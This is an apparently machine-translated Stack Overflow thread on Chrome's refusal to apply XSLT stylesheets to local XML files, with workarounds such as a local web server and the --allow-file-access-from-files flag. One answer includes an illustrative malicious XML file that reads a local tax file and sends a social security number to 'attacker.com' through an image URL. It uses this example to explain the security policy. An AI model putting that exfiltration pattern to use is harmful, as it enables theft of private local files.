可以使Chrome对本地文件执行XSL转换吗?


91

我正在研究xslt,并开始使用w3schools上的示例进行测试。

但是,当我将xml和xsl保存在文件中并尝试在本地打开它们时,chrome将不会执行xsl转换。它只是显示一个空白页。

我已经将<?xml-stylesheet type="text/xsl" href="style.xsl">标记添加到xml文档中,并且Firefox渲染了它应该看起来的样子。另外,如果我通过Web服务器查看文件,则chrome会以应有的外观显示文件。

当链接位于本地时,chrome是否在查找样式表信息时遇到问题?将href更改为file:///C:/xsl/style.xsl没有任何区别。

更新:这似乎是不将file:/// *视为相同来源的安全策略的副作用这将导致以下错误出现在控制台中:

不安全的尝试从带有URL file:/// C:/xsl-rpg/data.xml的框架中加载URL file:/// C:/xsl-rpg/style.xsl。域,协议和端口必须匹配。


1
file:Chrome似乎从协议中抛出了相同的域错误。

1
在IE11上可以使用。铬变得越来越邪恶。
Marco Demaio

Answers:


74

简短的答案是“不,请使用其中多种多样的浏览器之一”

这样做不起作用的原因是,Chrome已以有争议的方式[1] [2] [3] [4]解决了安全问题,即阻止XML文件访问同一目录中的本地XSLT文件,而HTML文件可以访问同一目录中的.CSS文件。

在上述问题中,用户要求提供更清晰的错误消息(因为域,协议和端口实际上是匹配的),或者至少显示不带样式的XML。Chrome开发人员忽略了这些请求。


18
尽管考虑到它们的安全性很有意义,但是XML文件应该能够从同一目录加载XSL样式表,就像HTML文件可以从同一目录加载图像和脚本一样。这里有一个你可以出演的问题,但Chrome浏览器开发团队就可以禁止新的回应-尽管他们抱怨说,他们无法量化用户如何巴不得本地文件原点放松的事实。
Dan Dascalescu 2013年

1
有趣的事实:Mac(8.0)上的Safari可以与本地XSLT配合使用,但是iOS(8)模拟器上的Safari(我也想在iOS上)也遇到了与Chrome中相同的错误,“域名,协议和端口必须匹配。 ”。但是,如果我要在应用程序中实现UIWebView并使用XSLT加载XML,则一切正常。
Paul Brewczynski 2015年

当任务是要修复Chrome浏览器中的特定xslt呈现时,使用其他浏览器的意义不大……
n611x007,2016年

与Chromium配合使用的一种方法是将XSL文件作为data:text / xsl URI内联到XML文件中。
EricLaw

57

您可以使用Chrome的命令行标志在本地执行此操作。

具体标志是 --allow-file-access-from-files

在OS X上:从Terminal.app运行 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

在Windows上:从命令提示符运行 %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

注意:如果Chrome当前正在运行,则可能必须退出Chrome,否则Ch


在Windows 7上,这似乎不适用于我。我发现chrome.exe位于此处:C:\Program Files (x86)\Google\Chrome\Application---allow-file-access-from-files命令执行得很好,但是我的本地XML文档(由不显示本地XSLT文件)。
里克

2
也许您必须手动在Windows任务管理器中杀死chrome.exe的所有正在运行的Windows进程。对我来说,这行得通。
Christian Schulzendorff 2015年

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files为我工作。显然,我正在运行Chrome Canary。运行此命令后,将打开一个新的Chrome窗口,让您执行XSL转换。
SeanLF

2
在Windows 7上更快:窗口键+ R;“ chrome --allow-file-access-from-files”; 输入。
亚伦·坎贝尔

或在PowerShell中(为您杀死以前的Chrome):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
亚伦·坎贝尔

15

如果您要坚持使用OP,答案是“否”(正如其他人所指出的那样),但是解决此问题的一种方法是运行一个简单的网络服务器并通过chrome中的http打开文件。如果安装了python 2.x,则可以通过键入以下内容来运行网络服务器:

python -m SimpleHTTPServer

或者在python 3.x中:

python3 -m http.server

然后http://localhost:8000/yourfile.xml在chrome中使用打开文件。希望您只想完成工作,而不必使用file://


3

在Chrome Bug页面上进行了一些解密-他们非常热衷于不解释问题的根源,以及为什么选择破坏所有人而不是不破坏所有人。

假设我的硬盘上某处有一个XML文件,例如:

C:\ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

一个恶意实体(某种程度上)设法将恶意Xml文件拖放到我的计算机上,例如:

C:\ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

想象一下TrojanVirusWorm.xml包含一个样式表处理指令(PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

然后,攻击者指示我的浏览器导航到本地保存的trojanVirusWorm.xml文件。

显然,有一种方法可以使XML文件读取XSD文件的内容(而不是由XSD文件转换):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

我不明白XML文件如何读取样式表文件。但是Chrome团队向我们保证,这是一种危险,并且无法解决。

其他所有浏览器都解决了它。他们解决了它,因为这不是问题


3

我的解决方法是根据xsl文件查看xml

假设我们有一个带有标题的some_file.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. 我们下载文件https://some-site.com/Common.xsl并将其放置在some_file.xml
  2. 将标题的一部分从更改href="https://some-site.com/Common.xsl"href="http://localhost:8001/Common.xsl"
  3. 在包含我们文件的目录中运行- python3 -m http.server 8001
  4. 在任何浏览器中打开 http://localhost:8001/some_file.xml

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.